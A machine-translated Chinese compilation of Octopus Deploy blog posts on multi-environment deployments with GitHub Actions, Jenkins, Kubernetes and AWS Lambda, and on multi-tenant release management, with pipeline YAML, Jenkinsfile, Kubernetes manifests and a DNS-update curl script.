Octopus-博客中文翻译-五-
Octopus 博客中文翻译（五）
原文：Octopus Blog
使用 GitHub 操作和 Octopus - Octopus 部署的多环境部署
原文：https://octopus.com/blog/multi-environment-deployments-github-actions
GitHub Actions 允许开发人员在 GitHub 存储库中执行 DevOps 操作。GitHub 社区维护集成了第三方工具和存储库的模板，如 Jenkins 或 Amazon 弹性容器注册中心(ECR)。
虽然 GitHub Actions 提供了一个包含的解决方案，但像 Octopus Deploy 这样的专用连续交付工具为您提供了一些好处，如环境、可视化环境的仪表板以及用于一致用户体验的标准化步骤模板库。
在本文中，我将向您展示如何在 GitHub Actions 工作流中构建 Docker 图像，将图像发布到 Amazon Elastic Container Registry(ECR ),并使用 Octopus 将图像部署到 Amazon Elastic Kubernetes Service(EKS)上的 web 应用程序。
先决条件
要跟进，您需要:
- 亚马逊网络服务(AWS)帐户
- GitHub 账户
这个帖子使用了 Octopus 水下应用库。您可以派生存储库并跟随它。或者，github-octopus 分支包含完成本文步骤所需的模板文件。你必须用你自己的价值观来取代一些价值观，但我在这篇文章中列出了我的价值观作为参考。
亚马逊网络服务设置
要为 GitHub 操作设置 AWS，您需要创建一个访问键和一个 ECR 存储库来存储图像。
要创建访问密钥，请转到亚马逊控制台，然后 IAM ，然后用户、[your user]，然后安全凭证，然后创建访问密钥。
您的浏览器下载一个包含访问密钥 ID 和秘密访问密钥的文件。Jenkins 使用这些值向 Amazon 认证。
要创建存储库，请转到亚马逊控制台，然后是 ECR ，然后是创建存储库。
您需要为发布的每个图像建立一个图像存储库。给存储库起一个您想让图像起的名字。
你会在亚马逊 ECR 下看到你的仓库，然后是仓库。记下它所在的区域，在 URI 场。
AWS 集群设置
按照我们文章中的步骤在 AWS 中设置集群，在 AWS 中创建 EKS 集群。
GitHub 设置
对于这个示例，您使用一个示例 web 应用程序来显示名为 simple-octo 的水下章鱼动画。
在https://github.com/OctopusSamples/octopus-underwater-app分叉存储库。
转到设置，然后是机密，然后是新储存库机密。
- REPO_NAME -您创建的 AWS ECR 存储库的名称
- AWS_ACCESS_KEY_ID -之前的访问密钥 ID
- AWS _ SECRET _ ACCESS _ KEY-之前的秘密访问密钥
- 八达通服务器 -你的八达通服务器网址
- OCTOPUS_APIKEY -你的 OCTOPUS 实例 APIKEY
- 要创建一个，进入你的用户名，然后个人资料，然后我的 API 密匙，然后新 API 密匙
您需要在存储库中创建一个工作流文件。GitHub Actions 工作流包含对代码库执行操作的说明。几个预构建的步骤模板允许您在代码存储库上执行许多不同的任务。在本例中，您使用一个 step 模板来构建代码并将其推送到 AWS ECR 存储库，然后从 Octopus 部署它。
在。根文件夹的 github/workflow 目录。将以下代码粘贴到 main.yml 文件中:
on:
push:
branches: [ main ]
pull_request:
branches: [ main ]
name: AWS ECR push
jobs:
deploy:
name: Deploy
runs-on: ubuntu-latest
steps:
- name: Install Octopus CLI
uses: OctopusDeploy/install-octopus-cli-action@v1.1.1
with:
version: latest
- name: Checkout
uses: actions/checkout@v2
- name: Configure AWS credentials
uses: aws-actions/configure-aws-credentials@v1
with:
aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
aws-region: us-east-2
- name: Login to Amazon ECR
id: login-ecr
uses: aws-actions/amazon-ecr-login@v1
- name: Build, tag, and push the image to Amazon ECR
id: build-image
env:
ECR_REGISTRY: ${{ steps.login-ecr.outputs.registry }}
ECR_REPOSITORY: ${{ secrets.REPO_NAME }}
IMAGE_TAG: "latest"
run: |
# Build a docker container and push it to ECR
docker build -t $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG .
echo "Pushing image to ECR..."
docker push $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG
echo "::set-output name=image::$ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG"
- name: create Octopus release
run: octo create-release --project underwater-octo-github --version 0.0.i --server=${{ secrets.OCTOPUS_SERVER }} --apiKey=${{ secrets.OCTOPUS_APIKEY }}
- name: deploy Octopus release
run: octo deploy-release --project underwater-octo-github --version=latest --deployto Development --server=${{ secrets.OCTOPUS_SERVER }} --apiKey=${{ secrets.OCTOPUS_APIKEY }}
GitHub Actions 在主分支的 push 或 pull 请求上创建一个动作。这些步骤包括检查代码、认证并登录 AWS，然后构建、标记并把图像推送到 Amazon ECR。GitHub Actions 可以使用类似的 step 模板推送到其他云存储库，如 Google 或 Microsoft。
提交您的更改并转到操作选项卡，然后单击提交消息的标题。您可以看到工作流程完成时的各个阶段。
去你的 Amazon ECR 仓库查看图片。
【Octopus 部署设置
在您的 Octopus Deploy 实例中，通过转到项目创建一个项目，然后添加项目。添加aws-github作为标题，点击保存。
通过前往基础设施，然后环境，然后添加环境来设置开发环境。给它起个名字，点击保存。
对测试和生产环境重复这些步骤。
然后，您需要设置 Amazon 帐户来部署到 EKS。
转到基础设施，然后账户，然后添加账户，然后 AWS 账户。给它起个名字，并填写前面的访问密钥 ID 和秘密访问密钥。
通过转到基础设施，然后部署目标，然后添加部署目标，然后 Kubernetes 集群，然后添加，在 Octopus Deploy 中将您的 AWS Kubernetes 集群设置为部署目标。
您可以遵循我们的文档中的步骤，这些文档指出了要添加的字段以设置部署目标。在本节中，您将为部署目标指定一个目标角色。这将在后面的 Octopus 部署步骤中引用。
部署到 EKS 步骤
在您的aws-github项目中，转到流程，然后添加部署步骤，然后 Kubernetes ，然后部署 Kubernetes 容器。添加您之前分配给部署目标的目标角色。
将以下 YAML 添加到 YAML 部分:
apiVersion: apps/v1
kind: Deployment
metadata:
name: octopus-underwater-app-github
labels:
app: octopus-underwater-app
spec:
selector:
matchLabels:
app: octopus-underwater-app
replicas: 3
strategy:
type: RollingUpdate
template:
metadata:
labels:
app: octopus-underwater-app
spec:
containers:
- name: octopus-underwater-app
image: 720766170633.dkr.ecr.us-east-2.amazonaws.com/octopus-underwater-app:latest
ports:
- containerPort: 80
protocol: TCP
imagePullPolicy: Always
导航回 Octopus 实例项目概述以查看部署到开发环境的版本。
现在，当您准备好的时候，您就可以将产品发布到测试和生产环境中了。点击部署进行发布。
您需要本地端口转发来检查服务。使用此命令检查 web 应用程序。端口 28015 是根据 Kubernetes 文档中的示例选择的:
kubectl port-forward deployment/octopus-underwater-app-github 28015:80
在浏览器中转到 IP 地址http://127.0.0.1:28021/查看您的 web 应用程序。
结论
在本文中，您使用 GitHub Actions 和 Octopus Deploy 将一个 web 应用程序部署到亚马逊 EKS。当您使用 Octopus Deploy 作为 CI/CD 工具链中的一个阶段时，您将受益于一个专用的持续交付工具。
Octopus Deploy 集成了几个云存储库，并内置了对发布管理的支持。GitHub Actions 有社区开发的步骤模板。使用这些工具的体验可能因模板而异。通过其 UI，Octopus Deploy 为 step 模板提供了标准化的体验。Octopus 还集成了不同的存储库和云提供商。
查看我们关于使用 GitHub Actions、Kubernetes 和 Octopus Deploy 进行部署的其他帖子:
试用我们免费的 GitHub Actions 工作流工具，帮助您快速为您的 GitHub Actions 部署生成可定制的工作流。
您还可以了解更多关于使用 GitHub 构建和使用 Octopus 部署的信息，并在 GitHub Marketplace 中使用我们的验证操作。
观看我们的 GitHub 行动网络研讨会
https://www.youtube.com/embed/gLkAs_Cy5t4
VIDEO
阅读我们的持续集成系列的其余部分。
愉快的部署！
Jenkins 和 Octopus - Octopus 部署的多环境部署
原文：https://octopus.com/blog/multi-environment-deployments-jenkins
在部署过程中，构件在部署之前由构建服务器构建。Jenkins 是为多环境设置设计的构建服务器。Jenkins 可以将您的工件打包并推送到一个中央存储库。从这里开始，连续交付(CD)工具可以获取工件并部署它。
Octopus Deploy 是帮助完成这一过程的最佳 CD 工具。Octopus 可以与 Azure、Google 和 Amazon 等主要云提供商进行交互和部署。
在这篇文章中，我将向您展示如何构建 Octopus underwater app 并将其推送到亚马逊弹性容器注册中心(ECR)。詹金斯将在章鱼部署中触发部署。Octopus 随后会将该应用部署到亚马逊弹性 Kubernetes 服务(EKS)。
先决条件
要跟进，您需要:
这个帖子使用了 Octopus 水下应用库。您可以分叉存储库，并使用主分支来跟进。
jenkins-octopus 分支包含完成本文步骤所需的模板文件。你必须用你自己的价值观来代替一些价值观，但是我已经在这篇文章中列出了我的价值观作为参考。
亚马逊网络服务设置
要为 Jenkins 设置 AWS，您需要创建一个访问密钥和一个 ECR 存储库来存储图像。
要创建访问密钥，请转到亚马逊控制台，然后 IAM ，然后用户、[your user]，然后安全凭证，然后创建访问密钥。
您的浏览器下载一个包含访问密钥 ID 和秘密访问密钥的文件。Jenkins 使用这些值向 Amazon 认证。
要创建存储库，请转到亚马逊控制台，然后转到 ECR ，然后转到创建存储库。
您需要为发布的每个图像建立一个图像存储库。给存储库起一个您想让图像起的名字。
你会在亚马逊 ECR 下看到你的仓库，然后是仓库。记下它所在的区域，在 URI 场。
AWS 集群设置
使用我们上一篇文章在 AWS 中创建 ESK 集群中的指南在 AWS 中设置集群。
用 Octopus release和deploy命令扩展管道。创建一个 Jenkinsfile 并粘贴以下代码:
pipeline {
agent any
options {
skipStagesAfterUnstable()
}
stages {
stage('Clone repository') {
steps {
script{
checkout scm
}
}
}
stage('Build') {
steps {
script{
app = docker.build("octopus-underwater-app")
}
}
}
stage('Test'){
steps {
echo 'Empty'
}
}
stage('Push') {
steps {
script{
docker.withRegistry('https://720766170633.dkr.ecr.us-east-2.amazonaws.com', 'ecr:us-east-2:aws-credentials') {
app.push("${env.BUILD_NUMBER}")
app.push("latest")
}
}
}
}
stage('Deploy'){
steps {
script{
octopusCreateRelease additionalArgs: '', cancelOnTimeout: false, channel: '', defaultPackageVersion: '', deployThisRelease: false, deploymentTimeout: '', environment: "Development", jenkinsUrlLinkback: false, project: "underwater-octo", releaseNotes: false, releaseNotesFile: '', releaseVersion: "1.0.${BUILD_NUMBER}", tenant: '', tenantTag: '', toolId: 'Default', verboseLogging: false, waitForDeployment: false
octopusDeployRelease cancelOnTimeout: false, deploymentTimeout: '', environment: "Development", project: "underwater-octo", releaseVersion: "1.0.${BUILD_NUMBER}", tenant: '', tenantTag: '', toolId: 'Default', variables: '', verboseLogging: false, waitForDeployment: true
}
}
}
}
}
Octopus 部署设置
在您的 Octopus Deploy 实例中，您需要创建一个名为aws-jenkins的项目:
- 转到项目，然后添加项目。
- 添加
aws-jenkins标题，点击保存。
接下来，设置开发、测试和生产环境:
- 转到基础设施，然后是环境，然后是添加环境。
- 将其命名为
Development，点击保存。 - 对测试和生产环境进行同样的操作。
您需要设置亚马逊帐户以部署到 EKS:
- 进入基础设施，然后账户，然后添加账户，然后 AWS 账户。
- 给它起一个名字，并填写前面的访问密钥 ID 和秘密访问密钥。
现在您需要在 Octopus Deploy 中将 AWS Kubernetes 集群设置为部署目标:
- 转到基础设施，然后部署目标，然后添加部署目标，然后 Kubernetes 集群，然后添加。
遵循我们的文档中的步骤，这些步骤指出了要添加的字段以设置部署目标。在本节中，您将为部署目标指定一个目标角色。这将在后面的 Octopus 部署步骤中引用。
您需要将 Amazon 提要添加到 Octopus 实例中:
- 进入库，然后外部进给，然后添加进给，然后选择 AWS 弹性容器注册表。
- 输入您的访问密钥 ID 、秘密访问密钥，以及您的注册表的区域。
部署到 EKS 步骤
在您的aws-jenkins项目中，转到流程，然后添加部署步骤，然后 Kubernetes ，然后部署 Kubernetes 容器。添加您之前为部署目标指定的目标角色。
将以下内容添加到 YAML 部分:
apiVersion: apps/v1
kind: Deployment
metadata:
name: octopus-underwater-app-jenkins
labels:
app: octopus-underwater-app
spec:
selector:
matchLabels:
app: octopus-underwater-app
replicas: 3
strategy:
type: RollingUpdate
template:
metadata:
labels:
app: octopus-underwater-app
spec:
containers:
- name: octopus-underwater-app
image: 720766170633.dkr.ecr.us-east-2.amazonaws.com/octopus-underwater-app
ports:
- containerPort: 80
protocol: TCP
imagePullPolicy: Always
点击保存。
部署在詹金斯
要将 Jenkins 连接到 Octopus，您需要安装 Octopus 部署插件。
转到仪表板，然后管理插件。如果没有安装插件，在可用的选项卡中搜索 Octopus 插件并安装插件。遵循我们文档中的指南，该指南解释了如何设置 Jenkins 和 Octopus 插件。
在设置了 Octopus 插件之后，对 GitHub 中的代码进行更改将会触发 Jenkins 和 Octopus 中的构建。
导航回您的 Octopus 实例和项目，然后是概述，您将会看到部署到开发环境的版本。
现在，当您准备好的时候，您就可以将产品发布到测试和生产环境中了。点击部署进行发布。
您需要本地端口转发来检查服务。使用此命令检查 web 应用程序。端口 28015 基于 Kubernetes 文档中的示例:
kubectl port-forward deployment/octopus-underwater-app-jenkins 28015:80
在浏览器中转至 IP 地址http://127.0.0.1:28021/查看您的 web 应用程序。
Octopus Deploy 是一个专用的连续交付(CD)工具，它本身支持发布管理。Jenkins 通过管道文件定义环境。它们是管道代码的分隔符。
在 Octopus 中，环境是专用空间。Octopus Deploy 使得在将部署推向生产环境之前，可以很容易地停止部署。下面的仪表板展示了这种能力——不同的版本出现在不同的环境中，并且很容易看到版本在生命周期中的位置。
Jenkins 是一个持续集成(CI)工具，它只能完成持续交付的某些部分。Jenkins 通常用于构建图像并将其推送到中央存储库。Octopus Deploy 可以与几个不同的存储库接口，并管理部署过程。这种关注点的分离使 Jenkins 和 Octopus 部署能够专注于他们最擅长的领域，从而实现更愉快的部署。
结论
在本文中，您使用 Jenkins 构建了一个 web 应用程序，将其推送到 ECR，并使用 Octopus Deploy 管理对 Kubernetes 的部署。
Octopus Deploy 提供了一个专用的仪表板来查看不同阶段的部署。仪表板强调 Octopus Deploy 如何补充像 Jenkins 这样的 CI 工具。
Octopus Deploy 支持所有主要的云提供商，包括 Azure、Google 和 Amazon。如果你还没有使用八达通，你可以开始一个免费试用。
查看我们关于使用 Jenkins、Kubernetes 和 Octopus Deploy 进行部署的其他帖子:
试试我们免费的 Jenkins 管道生成器工具用 Groovy 语法创建一个管道文件。这是您启动管道项目所需的一切。
阅读我们的持续集成系列的其余部分。
愉快的部署！
创建多环境 Kubernetes 部署- Octopus 部署
原文：https://octopus.com/blog/multi-environment-k8s-deployments
Kubernetes 资源的声明性质提供了一种方便的方式来描述集群的期望状态。然而，Kubernetes 没有本土的环境概念。虽然名称空间提供了一种对集群进行分区的自然机制，但是仅仅通过运行kubectl或查看传统的 Kubernetes 仪表板，很难了解部署了什么。
通过 Octopus 管理 Kubernetes 部署，应用程序可以在不同的环境(由名称空间和名称空间受限的服务帐户表示)中运行，当前的环境状态由 Octopus 仪表板汇总。
在这篇博文和截屏中，我们来看看 Kubernetes 部署如何在多种环境中进行。我们还将创建一些操作手册来管理和检查集群，为将来负责支持部署和集群的任何人提供一组基本的自动化工具。
截屏
下面的视频演示了将 web 应用程序部署到 Kubernetes 集群中的多个环境的过程。博文的其余部分提供了其他资源的链接和本演示中使用的脚本副本:
https://www.youtube.com/embed/WexwK4ro9Bs
VIDEO
饲料
我们的部署需要指向 Docker Hub 的 Docker feed 和 Helm feed:
环境
我们有三个环境来代表我们部署的应用程序的进展:开发、测试和生产。然后我们有一个名为 Admin 的环境，用于管理集群范围内的资源:
开发、测试和生产环境都启用了动态基础设施选项:
证书
由 Let's Encrypt 生成的通配符证书已上载到证书库。这将由入口资源稍后使用:
管理目标
我们需要一个具有管理特权的 Kubernetes 目标作为起点。该目标将用于安装和检查集群范围的工具，如入口控制器，以及创建特定于环境的目标。该目标具有管理角色:
部署目标
从概念上讲，Octopus 中的 Kubernetes 目标是一个安全边界，将部署限制在特定的环境中。在本例中，我们在一个集群中创建多个环境，安全边界由一个名称空间和一个只能访问该名称空间的服务帐户定义。然后，名称空间表示环境，服务帐户的有限范围防止对该名称空间/环境的部署修改任何其他名称空间/环境。
要创建仅限于特定名称空间的服务帐户，必须创建三个 Kubernetes 资源:
- 服务账户
- 一个角色
- 角色绑定
然后，服务帐户创建一个包含用于身份验证的生成令牌的密码。
幸运的是，一个名为Kubernetes-Create Service Account and Target的社区步骤模板为您完成了创建这些 Kubernetes 资源以及创建 Octopus token 帐户和 Kubernetes 目标本身的艰巨工作。在这里，我们将此步骤配置为运行手册的一部分，以创建角色 k8s 链接到环境的小写名称的目标:
在开发、测试和生产环境中运行 runbook 会导致创建三个新的 Kubernetes 目标。以下是生产部署目标:
部署流程
我们将随机报价示例应用程序部署到集群中。这个 Spring Boot 应用程序的源代码可以在 GitHub 上找到，Docker 图片可以在 DockerHub 上找到。
为了演示传递到每个部署的环境特定变量，我们将创建一个名为环境的变量，它有三个值，分别作用于开发、测试和生产环境:
然后我们使用部署 Kubernetes 容器步骤部署这个映像。这一步为创建 Kubernetes 资源提供了一个自以为是的 UI 驱动的界面，在本例中，我们将创建一个部署、服务和入口资源。
部署资源创建一个带有容器的 pod，该容器公开端口 80 并将环境变量映射到名为 SPRING_PROFILES_ACTIVE 的环境变量。这将设置 Spring 活动概要文件的名称，它将显示在屏幕上，允许我们验证是否为每个环境应用了正确的 Octopus 变量:
然后，群集 IP 服务在群集内部公开端口 80:
入口将服务暴露给主机 #{Octopus 上的任何请求。Environment.Name | ToLower} .章鱼. tech 。它还会为该主机名分配一个 HTTPS 证书:
入口控制器
我们的 Kubernetes 集群需要一个入口控制器来检查入口资源，并创建适当的网络规则来公开我们的 web 应用程序。有许多第三方入口控制器可用，对于这个例子，我们将安装 NGINX 入口控制器。
安装 NGINX 入口控制器最简单的方法是使用nginx-ingress舵图。我们将通过升级舵图步骤来安装这个舵图，作为操作手册的一部分。该步骤将在 admink8s 目标上运行，因为入口控制器是一个集群范围的服务:
为了确保运行 helm 部署的工作人员能够访问 helm v3 可执行文件，来自 helm releases 页面的档案被上传到内置提要，并在该步骤的 Connection 部分被引用。对于 Windows workers 来说，helm.exe文件的路径是windows-amd64\helm.exe:
对于 Linux 工作者，路径是linux-amd64/helm:
检查入口控制器负载平衡器公共 IP
NGINX 入口控制器的安装创建了一个带有公共 IP 的负载平衡器。我们需要知道这个公共 IP，以便将其映射到 DNS 主机名。
为了检查 Kubernetes 资源，我们使用一个名为Kubernetes-Inspect Resources的社区步骤模板。这一步是对kubectl的方便包装，我们将使用它来检查 NGINX 创建的服务的细节:
更新 DNS 记录
octopus.tech 域由 SimpleDNS 托管，它提供了一个 API 来更新 DNS 记录。更新现有的 DNS 记录是通过 HTTP 补丁操作来执行的，我们已经使用curl完成了这个操作。 IP 地址变量的值是在运行 runbook 之前通过提示符提供的，并且 SimpleDNS 令牌变量是一个秘密:
Set-Content -Path data.json -Value '{"content":"#{IP Address}"}'
.\curl\curl-7.72.0-win64-mingw\bin\curl.exe `
--silent `
-H "Authorization: Bearer #{SimpleDNS Token}" `
-H "Accept: application/json" `
-H "Content-Type: application/json" `
-X "PATCH" `
--data-binary '@data.json' `
"https://api.dnsimple.com/v2/36730/zones/octopus.tech/records/20067854"
大多数 Linux 发行版都会安装 curl，或者通过包含的包管理器获得，所以 bash 中的这个脚本是:
echo "#{IP Address}" > data.json
curl \
--silent \
-H "Authorization: Bearer #{SimpleDNS Token}" \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-X "PATCH" \
--data-binary '@data.json' \
"https://api.dnsimple.com/v2/36730/zones/octopus.tech/records/20067854"
结论
多环境是一种常见的部署模式，Octopus 为在多环境中进行 Kubernetes 部署提供了一流的支持。通过为每个环境创建 Kubernetes 目标，并使用仅有权访问单个名称空间的服务帐户对这些目标进行身份验证，Octopus 确保了部署是在正确的名称空间中创建的，并且不会影响它们不应该访问的资源。
在这篇博文和截屏中，我们了解了如何创建多环境 Kubernetes 部署流程，使用社区步骤模板创建特定于环境的目标，并创建大量操作手册来配置和管理 Kubernetes 集群以及 DNS 提供商等相关基础设施。最终结果是一个 web 应用程序部署到了开发、、、、、生产、环境中，安全地暴露在 HTTPS 和一套操作手册中，以帮助任何人在未来支持集群。
愉快的部署！
为什么不应该使用 Lambda 别名来定义环境- Octopus Deploy
原文：https://octopus.com/blog/multi-environment-lambda-deployments
如今，开始使用无服务器应用程序相对容易。像无服务器和 AWS SAM 这样的工具抽象掉了许多样板代码，隐藏了服务之间更好的交互，让你快速启动并运行。
从概念验证阶段转移到可测试和可重复的部署不可避免地意味着跨多个环境部署您的代码。我们已经看到了如何从 SAM CLI 迁移到 Octopus 来实现这些多环境部署。上一篇文章提倡将独立的 CloudFormation 栈作为实现多环境部署的一种方式，但是像 Lambda 别名这样的解决方案呢？
在这篇文章中，我们将看看 Lambda 别名，并强调一些在使用它们时可能不会立即显现出来的缺陷。
什么是 Lambda 别名？
Lambda 别名本质上是 Lambda 部署的命名版本。默认情况下，有一个名为$LATEST的单一版本，它总是代表所部署的 Lambda 的最新副本。然后，您可以发布一个版本，这将创建 Lambda 代码和配置的不可变快照。新发布的版本有一个自动分配的版本号，但是通过给其中一个版本号分配一个名称或别名，可以定义一组代表一个环境的 Lambda 版本。
例如，别名Prod可能指向一个月前创建的 Lambda 版本。因为发布的版本是不可变的，开发者可以继续更新 Lambda，但是名为Prod的别名将总是引用一个已知的稳定版本。
同样，Test别名可能指向 Lambda 的一个新发布的版本，目的是对它进行测试。然后Dev别名可以指向$LATEST版本，从而创建一个总是指向最新部署代码的开发环境。
下面是 AWS 文档中的一个截图，展示了别名的概念。
别名的概念很容易理解，但是在实现这个策略之前，需要考虑一些事情。
到底什么是环境？
为了理解别名是如何出错的，我们首先需要问一个相当简单的问题:什么是环境？
在内部部署的时代，环境是专用的服务器或虚拟机。例如，您可能有一台生产服务器和一台测试服务器。部署到这些服务器的代码和基础设施构成了生产或测试环境。
这种拓扑很容易理解:生产环境是运行生产代码的生产服务器，生产代码与生产数据库交互。这里没有歧义。
现在考虑 AWS Lambda 同时托管测试和生产代码的情况。您甚至会发现自己处于这样一种情况，即Test别名指向与Prod别名相同的版本。我们如何描述具有这种拓扑结构的环境？
很容易说 Lambda 环境是别名，也就是说生产环境是Prod别名指向的 Lambda 版本集，而测试环境是Test别名指向的 Lambda 版本集。但是，当我们需要实现非功能性需求，如安全性和性能时，这种描述就失效了。
假设您正在编写一个医疗应用程序，该应用程序处理要求您不要透露的敏感信息。这意味着您必须考虑由您的代码生成的日志文件，甚至是显示您的应用程序所采用的路径的堆栈跟踪，可能包含或暗示法律敏感信息。
当生产环境可以简单地描述为运行在生产服务器上的代码时，安全性可以实现为只有被授权访问生产服务器的人才能读取日志。好吧，但是，在实践中，安全性并不那么容易，但是至少对于生产日志文件来自哪里没有歧义。
当使用别名时，生产环境的概念变得更加模糊。当从生产主机 myapp.com 调用 Lambda 时，您可能被迫将生产环境描述为*，然后当从测试主机 test.myapp.com调用 Lambda 时，您可能被迫将测试环境描述为。*
我们现在正处于将环境意识的概念从基础设施下推到准则中的位置。我们的 Lambda 代码必须知道它被调用的上下文(例如通过跟踪请求主机名)并相应地标记日志条目。这意味着我们的安全规则需要考虑日志条目是否标记有测试或生产。
现在您面临的挑战是标记每个日志条目，捕捉所有异常，创建一个安全规则来扫描每个 CloudWatch 日志中的特定标记，并相应地限制对日志条目的访问。
或者，考虑 Lambda 最终与数据库交互的情况。您将很难找到主张将测试和生产数据放在同一个数据库中的人，这意味着您将为每个环境拥有不同的数据库。正如我们的代码必须知道它被调用的上下文以适当地标记日志条目一样，它也需要知道它应该与哪个数据库进行交互。即使你的 Lambda 不直接与数据库交互，它最终也会调用一个与数据库交互的数据库，所以它需要在每次调用时传递这种环境意识。
现在您面临的挑战是创建一个安全规则，只允许生产上下文中调用的 Lambda 与生产数据进行交互。请记住，生产 Lambda 可能与测试 Lambda 完全相同，唯一的区别是调用它的上下文。
如您所见，这两个看似微不足道的安全练习很快变得难以管理，我们甚至还没有讨论速率限制、网络分段、分布式跟踪…
地狱是无法描述你的环境
大多数非功能性需求最终需要以安全性、网络或监控规则的形式来表达，并且这些规则需要根据环境来定义。这似乎是显而易见的，但这意味着您需要能够定义环境。
当环境意识从基础设施层下推到代码本身时(当您的生产代码实际上可以与您的测试代码相同时，这是必然的)，定义环境变得棘手，并且保证基于环境的规则得到实施几乎是不可能的。
我不建议您(或任何人)在各种环境中使用别名。我对此最大的担忧是，您可能会冒着影响 prod 的风险，对测试或开发进行更改。如果部署出了问题，你会造成更大的爆炸半径。我的另一个担心是你的函数的安全性。您可能需要添加特定于开发或测试的凭据或策略，这些凭据或策略将会或可能会在生产中复制。我建议将开发、测试和生产划分到单独的 CloudFormation 堆栈中，这样每个环境都是相互隔离的。然后，您只需管理一个 CloudFormation 模板，就可以在环境级别通过 CI/CD 系统部署它。您将仍然只管理一个 Lambda 功能(通过 SAM)，但是这种设置将减少部署的爆炸半径，并隔离您不同环境的功能和资源。
为环境使用堆栈、区域或帐户
与其尝试为环境使用别名，不如基于其他边界(如 CloudFormation 堆栈、AWS 区域或完全独立的 AWS 帐户)来拆分环境。
在之前的博客文章中，我们已经看到了如何使用单独的 CloudFormation 堆栈。
使用不同的 AWS 区域是下一个合乎逻辑的步骤，尽管您可能会发现物理区域的网络开销会干扰测试或性能监控。
为了最终隔离，您可以采取下一步，通过单独的 AWS 帐户创建环境。在视频中，AWS 基于 Lambda 的应用程序的测试和部署最佳实践 AWS 开发者倡导者 Chis Munns 描述了以这种方式使用帐户，似乎甚至 AWS 也接受使用数百个帐户来实现这种分离。
幸运的是，实现这些策略中的任何一个都很简单，只需将适当的 Octopus 变量应用到一个环境中，这意味着无论您决定实现哪种策略，您都可以轻松地管理您的多环境部署。
结论
对于非常简单或概念验证的部署，Lambda 别名可以为多种环境提供解决方案。但是正如我们所看到的，随着部署变得更加复杂，别名很快就会带来问题。
独立的 CloudFormation 堆栈、AWS 区域或帐户提供了更清晰的环境边界，使安全性和监控更加可靠。
Octopus 通过将变量值(如 CloudFormation 堆栈名称、AWS 区域名称或 AWS 帐户)纳入环境范围来支持这些环境边界，这意味着您的多环境部署易于管理且部署可靠。
使用 Octopus Deploy 的多租户发布管理- Octopus Deploy
原文：https://octopus.com/blog/multi-tenancy-release-management
Octopus Deploy 中我最喜欢的功能之一是多租户。每个客户都有自己的应用程序版本，或者托管在每个客户的独特基础架构上，或者由客户自己托管。Octopus Deploy 中的多租户特性解决了许多问题。
我的上一篇文章深入探讨了新的部署子 Octopus 部署项目步骤模板，涵盖了各种场景，但不包括多租户。
在本文中，我将介绍新 step 模板的多租户功能，以及如何使用它来更好地管理您的多租户版本。
这篇文章假设你阅读了前一篇文章。它将触及类似的主题，但不是一个完整的老调重弹。
示例应用程序
和上一篇文章一样，我有一个示例应用程序，其中每个组件都是一个 Octopus Deploy 项目。
有几个主要区别:
示例应用程序是一个 SaaS 应用程序，具有以下业务规则:
- 每个客户都获得了由数据库、Web API 和 Web UI 组成的“核心”产品。
- 每个客户都获得一个分期和生产环境。试运行环境允许他们的工程师在部署到生产之前测试任何变化。
- 客户可以额外付费购买计划服务、单点登录应用程序和数据转换。
- 客户可以支付额外的费用来更早地访问在测试环境中部署的变更。
- 在发布部署到生产环境之前，某些客户必须征得他们的同意。
- 购买模块需要重新部署核心组件，需要更新配置文件，并且需要回收服务以获得新功能。
- 客户希望停机时间保持在最低限度。
这些规则复制了现实世界的一些复杂性。
以下是我们的客户样本:
- 内部:这是一个内测客户，大家用来测试变化。该客户存在于所有四个环境中:开发、测试、试运行和生产。
- 所有宠物:该客户已经支付了所有额外组件以及在测试环境中访问预览版本的费用。
- 宠物生活:裸机客户在试运行和生产环境中只有四个“核心”组件。
- 宠物世界:该客户购买了调度服务和单点登录应用程序，用于筹备和生产环境。
- 仅限狗:该客户购买了调度服务和数据转换服务，用于试生产和生产环境。
多租户和部署子 Octopus 部署项目步骤模板
一些客户选择一个大型项目来处理所有事情。他们一次性部署软件，但是停机时间非常长，因为未更改的组件也需要重新部署。
这可能会引出一个问题，“我如何跳过包没有改变的步骤？”。
这种方法的问题是 web 部署很少“仅仅”推出服务器包。需要额外的步骤来配置项目，如品牌或运行集成测试。
Octopus Deploy 中的每个组件都需要分配给一个独特的项目。父项目将处理编排。直到现在，还没有一个步骤来解决现实世界中的几个用例:
- 通过仅部署已更改的内容，最大限度地减少停机时间。
- 通过只构建已更改的内容来最小化构建时间。
- 尽量减少一个人必须做出的决定。
- 单一责任原则，每个项目尽其所能部署一件事。
- 租户被分配到不同的项目。
- 每个项目的租户被分配到不同的环境中。
- 租户有不同的生产发布时间表。
- 租户有不同的测试周期。
- 租户需要他们自己的一组批准，但是一个人应该只需要批准一次发布。
- 应用程序必须按照特定的顺序部署到租户。
- 客户在星期二批准了他们对星期四晚上部署的更改。
新的部署子 Octopus 部署项目步骤模板有助于解决这些用例。
您的应用程序将有一个父项目，只需要一个部署过程。你不应该担心租户和项目分配。它有必要的保护条款，以确保相同的流程将适用于内部客户的所有附加功能，和的宠物生活只有核心组件。
在继续之前，让我们看看 step 模板如何处理多租户父项目的不同用例。
未分配给子项目的租户
步骤模板将自动处理所有可能的多租户用例:
- 租户是否被分配给子项目？如果没有，退出该步骤，记录一条消息并继续下一步。
- 租户是否被分配到特定环境的子项目中？如果否，退出该步骤，记录一条消息，然后继续下一步。
- 租户是否被分配到特定环境的子项目中？如果是，找到最新版本并触发部署。
- 子项目是否配置为运行多租户？如果没有，则在不提供租户的情况下运行子项目。
选择版本
step 模板的核心业务规则之一是选择源环境中最后一个成功部署的版本。大多数逻辑专注于计算源环境，并通过 4 个逻辑门运行:
- 如果提供了源环境，就使用它。
- 当提供通道时，找到目标环境阶段之前的阶段。
- 当没有提供通道时，使用默认通道，然后找到目标环境相位之前的相位。
- 一旦知道了源环境，找到最新的成功的版本。
步骤模板使用任务日志来计算要升级的版本。使用 Tasks 页面上的高级搜索过滤器，您可以实时看到 step 模板将选择哪个版本。
当目标环境是渠道生命周期的第一阶段时，它将找到为渠道创建的与提供的发布模式相匹配的最新发布。
多租户增加了一层复杂性。考虑这个场景:
- 内部:有最新的前沿版本，
2021.1.0.15准备好进入暂存。 - 所有宠物:有一个旧版本，
